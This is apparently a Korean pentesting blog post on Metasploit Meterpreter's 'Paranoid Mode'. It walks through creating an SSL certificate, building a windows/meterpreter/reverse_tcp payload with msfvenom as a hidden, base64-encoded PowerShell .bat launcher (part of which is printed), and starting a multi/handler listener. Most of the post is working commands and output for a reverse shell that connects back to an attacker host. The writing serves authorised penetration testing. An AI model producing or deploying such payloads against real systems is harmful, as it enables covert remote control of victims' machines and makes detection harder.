Paranoid Mode! SSL Certified Meterpreter shell

지속적인 모의해킹은 인프라, 서비스의 보안성을 향상 시키는데 큰 도움이 됩니다. 다만 뒷처리가 깔끔하지 않다면 더 취약해질 수도 있다는 문제점을 가지고 있죠.

오늘은 조금 더 안전한 Pentest를 위해서 공격에 사용되는 Shell의 payload 정보를 암호화하고 안전하게 pentest를 하기 위한 장치에 대해 알아볼까 합니다.

Meterpreter shell의 기능 중 하나인 Paranoid Mode 에 대한 이야기입니다.

Why?

침투테스터의 pc나 네트워크 환경은 공격 받았을 때 굉장히 리스크가 큽니다. 기본적으로 다른 인프라 시스템에 대한 정보가 많을 가능성도 높고 여러 타겟에 대한 이미 분석된 정보가 있을 가능성이 높기 때문이죠.

공격자가 타겟 시스템에 접근을 하거나 Pentest 과정중에서 발생하는 정보, 공격 등은 아주 위험하고 민감한 데이터들입니다.

예를들어 공격자가 어떤 시스템에 취약점을 가지고 Bind shell을 심는다면 그 트래픽을 감청한 다른 공격자는 노력하지 않고도 그 shell을 가져갈 수도 있습니다. 실제로 많은 도구들이 잘 알려진 backdoor 포트나 경로를 찔러보는 경우가 많습니다.

그래서 Bind shell 등은 단순히 접근하면 쉘을 내어주는게 아니라 실제 모의해킹을 진행하는 침투테스터인지, 아닌지 구별해야하고, 침투테스터 또한 이러한 부분까지 설계하여 공격해야합니다.

만약 Meterpreter shell을 사용한다면paranoid mode를 통해 이를 쉽게 해결할 수 있습니다.

Meterpreter shell

혹여나 Meterpreter에 대해 모르시는 분도 있을 수 있으니 간단하게 설명하고 Paranoid mode 에 대해 보는게 좋을 것 같아서 넣었습니다.

Meterpreter는 Metasploit에서 사용되는 Shell(Bind/Reverse)이며 다양한 플랫폼에 맞게 변형이 가능하고 Hacker/Pentester에게는 정말 유용한 기능, 스크립트 그리고 확장성을 가진 만능 쉘입니다.

저도 개인적으로 아주 자주 사용하고 있고 동작 자체가 Memeory 단 즉 Fileless 기반이 때문에 탐지도 까다롭습니다. 오늘은 paranoid mode에 대해 하는것이니 여기까지 소개하고 아직 meterpreter가 잘 모르겠다면 metasploit-unleashed 참고하시기 바랍니다.

Paranoid Mode

오늘의 핵심 컨텐츠인 Paranoid mode 입니다. 딱 간단하게 줄여서 말씀드리면 아래와 같습니다.

안전한 공격을 위해 SSL이 적용된 Shell

Paranoid mode는 기존 Meterpreter shell에 SSL Certified가 적용된 모드입니다. 그래서 다른 악의적인 공격자가 Shell 파일, Payload를 탈취하여도 그걸 통해 또 다른 공격을 만들어낼 수 없도록하는게 Paranoid mode 입니다.

Create a SSL/TLS Cert

먼저 openssl로 key, crt 파일을 생성해줍니다.

openssl req -new -newkey rsa:4096 \
    -days 365 -nodes -x509 \
    -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=test" \
    -keyout test.key -out test.crt

그다음 key와 crt 파일을 가지고 pem 파일을 만들어 줍니다.

cat test.key test.crt > test.pem

한줄로 정리하면 아래와 같네요.

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
    -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=test" \
    -keyout test.key -out test.crt \
    && cat test.key test.crt > test.pem \
    && rm -f test.key test.crt

그러면 test.pem 파일이 생성됩니다. 우리가 암호화할 때 사용할 SSL 인증서를 생성해둔 과정입니다.

Create a Paranoid Payload

두번째로 paranoid mode를 통해 암호화된 payload를 만들 차례입니다. msfvenom 으로 payload를 만들어줍시다.

msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=192.168.0.8 \
    LPORT=443 \
    PayloadUUIDTracking=true \
    HandlerSSLCert=./test.pem \
    StagerVerifySSLCert=true \
    PayloadUUIDName=ParanoidStagedPSH \
    -f psh-cmd \
    -o launch-paranoid.bat
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Saved as: launch-paranoid.bat

우와 같이 명령을 주면 -o 으로 지정해준 .bat 파일이 떨어집니다. (windows target 기준)

drwxr-xr-x  2 hahwul hahwul 4096  7월 12 22:12 .
drwxr-xr-x 60 hahwul hahwul 4096  7월 12 22:12 ..
-rw-r--r--  1 root root 6255  7월 12 22:12 launch-paranoid.bat
-rw-r--r--  1 root root 5228  7월 12 22:06 test.pem

cat 으로 생성된 bat 파일을 보면 powsershell을 이용해서 암호화된 payload를 실행하는 것을 알 수 있습니다.

cat launch-paranoid.bat 
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA
0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH
...

Run Paranoid Listener

마지막으로 암호화된 웰을 받아줄 listener, 즉 handler도 설정해줘야합니다.

hahwul auxiliary(test) #> use exploit/multi/handler 
hahwul exploit(handler) #> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
hahwul exploit(handler) #> set LHOST 192.168.0.8
LHOST => 192.168.0.8
hahwul exploit(handler) #> set LPORT 443
LPORT => 443
hahwul exploit(handler) #> set HandlerSSLCert ./test.pem
HandlerSSLCert => ./test.pem
hahwul exploit(handler) #> set IgnoreUnknownPayloads true
IgnoreUnknownPayloads => true
hahwul exploit(handler) #> set StagerVerifySSLCert true;
StagerVerifySSLCert => true;
hahwul exploit(handler) #> run -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.8:443

아니면 아래 명령행 처럼 msfconsole 을 통해 인자값으로도 주어도 됩니다.

msfconsole -q -x 'use exploit/multi/handler; 
                set PAYLOAD windows/meterpreter/reverse_tcp; 
                set LHOST 192.168.0.8; 
                set LPORT 443; 
                set HandlerSSLCert ./test.pem; 
                set IgnoreUnknownPayloads true; 
                set StagerVerifySSLCert true; run -j'

이러면 이제 handler는 대기상태가 되고 exploit에 성공한 payload는 정상적으로 handler와 연결되게 됩니다. 그러나 암호화된 상태에서 말이죠 :)

Conclusion

아주 간단한 설정이면 쉽게 암호화된 meterpreter shell을 사용할 수 있습니다. 오늘의 포스팅은 여기까지고 궁금하신점은 언제든지 편하게 말씀해주세요.

Reference